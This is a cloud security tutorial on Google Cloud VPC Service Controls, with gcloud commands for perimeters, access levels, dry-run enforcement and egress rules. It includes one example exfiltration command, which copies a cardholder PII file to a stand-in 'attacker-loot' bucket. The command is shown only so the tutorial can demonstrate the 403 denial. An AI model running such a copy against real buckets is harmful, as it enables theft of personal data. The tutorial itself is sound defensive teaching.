VPC Service Controls
Perimeters that stop credentialed data exfiltration.
A stolen service account key is worth exactly as much data as it can reach. That is the whole game. A service account is a robot login your apps use instead of a human one, and its key is that robot's password. Someone phishes the key, or finds one a developer pushed to a public code repo, and it still carries every permission you handed it. Permissions in Google Cloud live in IAM (Identity and Access Management), the system that decides who may call which API. IAM will happily let the thief read your Cloud Storage bucket and copy it somewhere else, because the request looks identical to a real one. The credential is valid. The permissions are real. Nothing got 'hacked.' That is the theft IAM, on its own, cannot see.
A moat solves a problem a lock cannot. The keycard on your belt opens the castle's front door and works for whoever is holding it, but the moat wraps the whole castle, and a card lifted from your pocket does not help a stranger swim. VPC Service Controls (VPC stands for Virtual Private Cloud, the private network your projects live in), or VPC-SC, is the moat. You draw a boundary around a group of projects, and the Google services inside it answer a request only when the request came from inside. Those services are reached over APIs (application programming interfaces, the doorways one piece of software uses to ask another for something, like Cloud Storage or BigQuery). Roughly a hundred of them can go behind the wall. A valid key used from the wrong side of the moat gets nothing back, however many permissions it carries.
The wall goes around the API, not the machine
Here is the part people trip over. This is not a network firewall, and it is not an IAM role either. A firewall inspects network traffic heading toward one machine, a VM (virtual machine, a computer that exists only as software). IAM answers a different question: may this caller perform this action? VPC-SC sits somewhere else entirely, at the front door of the API, and answers a third question: where did this call come from? So when something calls storage.googleapis.com to read a file, Google checks the perimeter separately from the IAM grant. If the source is outside the perimeter and no rule lets it in, the API returns a 403 (the 'access denied' response) and your carefully scoped permission never gets consulted. That is how it stops credentialed theft a perfect IAM policy would wave straight through. Before you can wall anything off, though, you have to tell Google what 'inside' means.
# One access policy per organization holds all your levels and perimeters.gcloud access-context-manager policies create \--organization=574839201847 --title="acme-default"# A "basic" access level: only the corporate egress IP range qualifies as inside.cat > corp-level.yaml <<'EOF'- ipSubnetworks:- 203.0.113.0/24EOFgcloud access-context-manager levels create corp_network \--policy=1098765432 --title="Corp network" \--basic-level-spec=corp-level.yaml# Expected output:# Waiting for operation [operations/accessPolicies/create/...] ...done.# Created access policy [1098765432].# Create request issued for: [corp_network]# Created level [corp_network].
An access level is a reusable name for 'a trusted source', here a single corporate IP range, and one perimeter or twenty can point at it. Now the perimeter itself. You aim it at the project numbers you want protected and list the services to restrict. Get this next command wrong in enforced mode and you can shut your own pipelines out of their own data, so you do not switch it on yet. You draw it in dry-run first.
# New perimeter, dry-run only: every config flag takes the --perimeter- prefix.gcloud access-context-manager perimeters dry-run create payments-perimeter \--policy=1098765432 \--perimeter-title="Payments perimeter" \--perimeter-type=regular \--perimeter-resources=projects/834271905 \--perimeter-restricted-services=storage.googleapis.com,bigquery.googleapis.com \--perimeter-access-levels=corp_network# Expected output:# Create request issued for: [payments-perimeter]# Waiting for operation [operations/accessPolicies/1098765432/servicePerimeters/...] ...done.# Created perimeter dry-run spec [payments-perimeter].
Turn it on without causing an outage
Dry-run mode is the difference between a controlled rollout and a 2 a.m. incident. A new bouncer shadows the old one for a week. He checks every ID at the door and writes down everyone he would have turned away, but he stops nobody. A dry-run perimeter behaves the same way: it records every request it would have blocked into Cloud Audit Logs and lets all of them through anyway. Run it a week or two, read the would-be blocks, and you find the legitimate traffic you forgot existed. The analytics job that lives in a different project. The CI pipeline (your automated build-and-test system) that loads fresh data into BigQuery. Each one becomes an ingress or egress rule. When the log finally goes quiet, you enforce.
# Promote the dry-run spec to enforced once the would-be-block log is clean.gcloud access-context-manager perimeters dry-run enforce payments-perimeter \--policy=1098765432# Attacker holds a valid, powerful token and tries to copy PII to their own bucket.gsutil -i [email protected] \cp gs://payments-prod-pii/cardholders.csv gs://attacker-loot/# Expected output:# Enforced dry-run config for perimeter [payments-perimeter].# Copying gs://payments-prod-pii/cardholders.csv...# AccessDeniedException: 403 Request is prohibited by organization's policy.# vpcServiceControlsUniqueIdentifier: A5xL9m2Q-fZ7bH0pT...
Cutting controlled holes: ingress and egress
A sealed wall that also blocks the real work is useless, so you cut named holes in it. An ingress rule says which outside callers may reach in, one service account arriving over the corp access level to run a query, say. An egress rule says which inside callers may reach out, your data pipeline's service account writing to a partner's bucket in another project. Both are pinned to an identity and to an operation, so a rule never reads 'anybody from that IP range.' It reads 'this service account, calling this method, on this resource.' A stolen key matches none of them. That is the entire point.
cat > egress.yaml <<'EOF'- egressFrom:identities:- serviceAccount:[email protected]egressTo:resources:- projects/220148833operations:- serviceName: storage.googleapis.commethodSelectors:- method: "google.storage.objects.create"EOFgcloud access-context-manager perimeters update payments-perimeter \--policy=1098765432 --set-egress-policies=egress.yaml# Expected output:# Updated perimeter [payments-perimeter].
Strip a perimeter down and it is two lists. One list of projects that count as inside. One list of restricted services that will refuse calls arriving from anywhere else. Once you enforce, a call to a restricted API from outside fails even when the caller holds a valid OAuth token (the short-lived proof of identity a client presents) and the exact IAM permission for the job. That refusal is the feature. A credential lifted onto a laptop on the public internet should bounce off the wall loudly, with a vpcServiceControlsUniqueIdentifier in the error that you can hand to Google support.
VPC accessible services and ingress and egress policies are how you cut the deliberate holes: a shared services project that has to reach into the perimeter, a partner VPN allowed to call exactly one API. Keep every hole named, ticketed, and no wider than the business case that bought it. Broad egress to allServices is how a perimeter quietly stops protecting anything while still looking green on the compliance report.
Pair the perimeter with Context-Aware Access levels when a human needs break-glass and you only trust company-managed laptops. The two controls answer different questions. The perimeter asks where the call may come from. The access level asks which device and identity posture is allowed to try at all.
Keep perimeters in the same repo as the rest of your infrastructure. A perimeter edited by hand in the console is one nobody reviewed, and a single click that adds a project to the members list silently widens the wall. Put the access policy, the access levels, and the ingress and egress rule files under version control, apply them from a pipeline, and let the diff show up in code review. Write down which identity is allowed to run gcloud access-context-manager, because that identity can drain the moat in one command.
Prove the block rather than assume it. Once enforced, run the copy that is supposed to fail from a machine outside the perimeter, capture the AccessDeniedException and its vpcServiceControlsUniqueIdentifier, and staple that output to the change ticket. If you cannot produce the denial on demand, you have intent, not evidence. Every quarter, describe the perimeter again and diff the resources and restrictedServices lists against your last known-good export, because a project quietly added to the members list is exactly the drift an attacker would love you to miss.
Break-glass belongs in the ingress rules, not in somebody's memory. When an on-call engineer genuinely has to reach the perimeter from outside, give the exception an owner, a ticket, an end date, and its own access level, then delete it on that date whether or not anyone chases you. A temporary ingress rule cut for an incident three quarters ago is a permanent hole in the wall, and it will still be open the day a key leaks.
Try this
List the perimeter, print what it actually protects, then pull a real denial out of the audit log. Three commands, and you can see the whole control from the outside.
gcloud access-context-manager perimeters list --policy=POLICY_IDgcloud access-context-manager perimeters describe peri-payments \--policy=POLICY_ID --format="yaml(status.resources,status.restrictedServices,status.vpcAccessibleServices)"gcloud logging read \'protoPayload.status.code=7 AND protoPayload.serviceName="storage.googleapis.com" AND severity>=ERROR' \--project=payments-prod --limit=2
NAME TITLEperi-payments Payments production perimeterstatus:resources:- projects/802451296328restrictedServices:- storage.googleapis.com- bigquery.googleapis.comvpcAccessibleServices:enableRestriction: trueallowedServices:- storage.googleapis.com- bigquery.googleapis.com# audit log (trimmed): PERMISSION_DENIED — request is prohibited by organization's policy
Takeaway
VPC Service Controls wall off Google APIs, not the network card on a VM. Draw the perimeter in dry-run, restrict the services that genuinely hold your data, and treat every ingress and egress rule as a named, ticketed hole rather than a convenience somebody added on a Friday.
Next you take custody of the keys those APIs reach for: Cloud KMS (Key Management Service) and CMEK (customer-managed encryption keys). Get those right and a gap in the wall still leaves the thief holding ciphertext they cannot open.
A perimeter keeps data from walking out the door. It says nothing about what shape that data is in while it sits inside the wall, or about who holds the key that turns it back into something readable. That is where you go next: you stop treating Google's default encryption as enough and take custody of the key that turns raw bytes back into cardholder records.